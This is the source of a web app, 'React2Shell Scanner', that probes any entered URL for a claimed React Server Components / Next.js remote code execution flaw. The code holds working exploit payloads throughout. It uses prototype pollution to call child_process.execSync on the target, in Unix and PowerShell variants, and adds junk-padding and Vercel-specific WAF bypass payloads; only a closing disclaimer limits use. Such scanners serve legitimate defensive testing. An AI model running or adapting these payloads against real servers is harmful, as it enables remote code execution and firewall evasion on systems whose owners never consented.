app.py

import gradio as gr
import requests
import re
import random
import string
import json
from urllib.parse import urlparse
from requests.exceptions import RequestException

# --- Core Scanner Logic (Adapted from Assetnote) ---

def normalize_host(host: str) -> str:
    """Normalize host to include scheme if missing."""
    host = host.strip()
    if not host:
        return ""
    if not host.startswith(("http://", "https://")):
        host = f"https://{host}"
    return host.rstrip("/")

def generate_junk_data(size_bytes: int) -> tuple[str, str]:
    """Generate random junk data for WAF bypass."""
    param_name = ''.join(random.choices(string.ascii_lowercase, k=12))
    junk = ''.join(random.choices(string.ascii_letters + string.digits, k=size_bytes))
    return param_name, junk

def build_safe_payload() -> tuple[str, str]:
    """Build the safe multipart form data payload (side-channel)."""
    boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
    body = (
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        f'Content-Disposition: form-data; name="1"\r\n\r\n'
        f"{{}}\r\n"
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        f'Content-Disposition: form-data; name="0"\r\n\r\n'
        f'["$1:aa:aa"]\r\n'
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
    )
    content_type = f"multipart/form-data; boundary={boundary}"
    return body, content_type

def build_vercel_waf_bypass_payload() -> tuple[str, str]:
    """Build the Vercel WAF bypass multipart payload."""
    boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
    part0 = (
        '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
        '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":'
        '"var res=process.mainModule.require(\'child_process\').execSync(\'echo $((41*271))\').toString().trim();;'
        'throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",'
        '"_chunks":"$Q2","_formData":{"get":"$3:\\"$$:constructor:constructor"}}}'
    )
    body = (
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        f'Content-Disposition: form-data; name="0"\r\n\r\n'
        f"{part0}\r\n"
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        f'Content-Disposition: form-data; name="1"\r\n\r\n'
        f'"$@0"\r\n'
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        f'Content-Disposition: form-data; name="2"\r\n\r\n'
        f"[]\r\n"
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        f'Content-Disposition: form-data; name="3"\r\n\r\n'
        f'{{"\\"\u0024\u0024":{{}}}}\r\n'
        f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
    )
    content_type = f"multipart/form-data; boundary={boundary}"
    return body, content_type

def build_rce_payload(windows: bool = False, waf_bypass: bool = False, waf_bypass_size_kb: int = 128) -> tuple[str, str]:
    """Build the RCE PoC multipart payload."""
    boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
    if windows:
        cmd = 'powershell -c \\\"41*271\\\"'
    else:
        cmd = 'echo $((41*271))'
        
    prefix_payload = (
        f"var res=process.mainModule.require('child_process').execSync('{cmd}')"
        f".toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),"
        f"{{digest: `NEXT_REDIRECT;push;/login?a=${{res}};307;`}});"
    )
    part0 = (
        '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
        '"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"' + prefix_payload + '","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}'
    )
    
    parts = []
    if waf_bypass:
        param_name, junk = generate_junk_data(waf_bypass_size_kb * 1024)
        parts.append(
            f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
            f'Content-Disposition: form-data; name="{param_name}"\r\n\r\n'
            f"{junk}\r\n"
        )
    
    parts.append(f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{part0}\r\n")
    parts.append(f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n")
    parts.append(f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n")
    parts.append("------WebKitFormBoundaryx8jO2oVc6SWP3Sad--")
    
    body = "".join(parts)
    content_type = f"multipart/form-data; boundary={boundary}"
    return body, content_type

def resolve_redirects(url: str, timeout: int, verify_ssl: bool, max_redirects: int = 10) -> str:
    current_url = url
    original_host = urlparse(url).netloc
    try:
        for _ in range(max_redirects):
            response = requests.head(current_url, timeout=timeout, verify=verify_ssl, allow_redirects=False)
            if response.status_code in (301, 302, 303, 307, 308):
                location = response.headers.get("Location")
                if location:
                    if location.startswith("/"):
                        parsed = urlparse(current_url)
                        current_url = f"{parsed.scheme}://{parsed.netloc}{location}"
                    else:
                        new_host = urlparse(location).netloc
                        if new_host == original_host:
                            current_url = location
                        else:
                            break
            else:
                break
    except RequestException:
        pass
    return current_url

def send_payload(target_url: str, headers: dict, body: str, timeout: int, verify_ssl: bool):
    try:
        body_bytes = body.encode('utf-8') if isinstance(body, str) else body
        response = requests.post(
            target_url, headers=headers, data=body_bytes, timeout=timeout, verify=verify_ssl, allow_redirects=False
        )
        return response, None
    except Exception as e:
        return None, str(e)

def is_vulnerable_safe_check(response: requests.Response) -> bool:
    if response.status_code != 500 or 'E{"digest"' not in response.text:
        return False
    server_header = response.headers.get("Server", "").lower()
    has_netlify_vary = "Netlify-Vary" in response.headers
    is_mitigated = (has_netlify_vary or server_header == "netlify" or server_header == "vercel")
    return not is_mitigated

def is_vulnerable_rce_check(response: requests.Response) -> bool:
    redirect_header = response.headers.get("X-Action-Redirect", "")
    return bool(re.search(r'.*/login\?a=11111.*', redirect_header))

# --- Gradio Interface Logic ---

def scan_target(url, safe_check, windows_mode, waf_bypass, vercel_bypass, custom_path):
    if not url:
        return "Error: Please enter a URL."

    host = normalize_host(url)
    timeout = 10
    verify_ssl = True # In a public space, maybe better to keep SSL verification on
    
    # Determine Payload
    if safe_check:
        body, content_type = build_safe_payload()
        check_func = is_vulnerable_safe_check
        mode_str = "Safe Check (Side-Channel)"
    elif vercel_bypass:
        body, content_type = build_vercel_waf_bypass_payload()
        check_func = is_vulnerable_rce_check
        mode_str = "Vercel WAF Bypass"
    else:
        body, content_type = build_rce_payload(windows=windows_mode, waf_bypass=waf_bypass)
        check_func = is_vulnerable_rce_check
        mode_str = "Standard RCE Check" + (" (Windows)" if windows_mode else "")

    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Assetnote/1.0.0)",
        "Next-Action": "x",
        "X-Nextjs-Request-Id": "b5dce965",
        "Content-Type": content_type,
        "X-Nextjs-Html-Request-Id": "SSTMXm7OJ_g0Ncx6jpQt9",
    }

    paths = [custom_path] if custom_path else ["/"]
    logs = []
    logs.append(f"Target: {host}")
    logs.append(f"Mode: {mode_str}")
    
    vulnerable_found = False
    
    for path in paths:
        if not path.startswith("/"): path = "/" + path
        target_url = f"{host}{path}"
        logs.append(f"\nTesting: {target_url}")
        
        # Test 1: Direct Path
        resp, error = send_payload(target_url, headers, body, timeout, verify_ssl)
        
        if error:
            logs.append(f"Error connecting: {error}")
        elif resp:
            logs.append(f"Status: {resp.status_code}")
            if check_func(resp):
                vulnerable_found = True
                logs.append("RESULT: [VULNERABLE]")
                if not safe_check:
                     logs.append(f"Redirect Header: {resp.headers.get('X-Action-Redirect')}")
                return "\n".join(logs)
            else:
                logs.append("Result: Not Vulnerable")
                
                # Test 2: Follow Redirect (if 1st failed)
                redirect_url = resolve_redirects(target_url, timeout, verify_ssl)
                if redirect_url != target_url:
                    logs.append(f"\nFollowing redirect to: {redirect_url}")
                    resp_red, error_red = send_payload(redirect_url, headers, body, timeout, verify_ssl)
                    if resp_red:
                        logs.append(f"Status: {resp_red.status_code}")
                        if check_func(resp_red):
                            vulnerable_found = True
                            logs.append("RESULT: [VULNERABLE]")
                            return "\n".join(logs)
                        else:
                            logs.append("Result: Not Vulnerable")

    final_status = "[VULNERABLE]" if vulnerable_found else "[NOT VULNERABLE]"
    logs.append(f"\nFinal Status: {final_status}")
    return "\n".join(logs)

# --- UI Setup ---

with gr.Blocks(title="React2Shell Scanner") as demo:
    gr.Markdown("# React2Shell Scanner (CVE-2025-55182)")
    gr.Markdown("Web-based scanner for React Server Components / Next.js RCE. Based on the [Assetnote Scanner](https://github.com/assetnote/react2shell-scanner).")
    
    with gr.Row():
        url_input = gr.Textbox(label="Target URL", placeholder="https://example.com")
        path_input = gr.Textbox(label="Custom Path (Optional)", placeholder="/_next", value="")
    
    with gr.Row():
        safe_check = gr.Checkbox(label="Safe Check (Side-Channel)", value=True, info="Uses non-destructive payload.")
        windows_mode = gr.Checkbox(label="Windows Mode", value=False, info="Use PowerShell payload.")
        waf_bypass = gr.Checkbox(label="Generic WAF Bypass", value=False, info="Add junk data.")
        vercel_bypass = gr.Checkbox(label="Vercel WAF Bypass", value=False)

    scan_btn = gr.Button("Scan Target", variant="primary")
    output_box = gr.Textbox(label="Scan Output", lines=10)

    scan_btn.click(
        fn=scan_target,
        inputs=[url_input, safe_check, windows_mode, waf_bypass, vercel_bypass, path_input],
        outputs=output_box
    )

    gr.Markdown("**Disclaimer:** This tool is for educational and authorized security testing purposes only. Do not scan targets you do not own or have permission to test.")

demo.launch()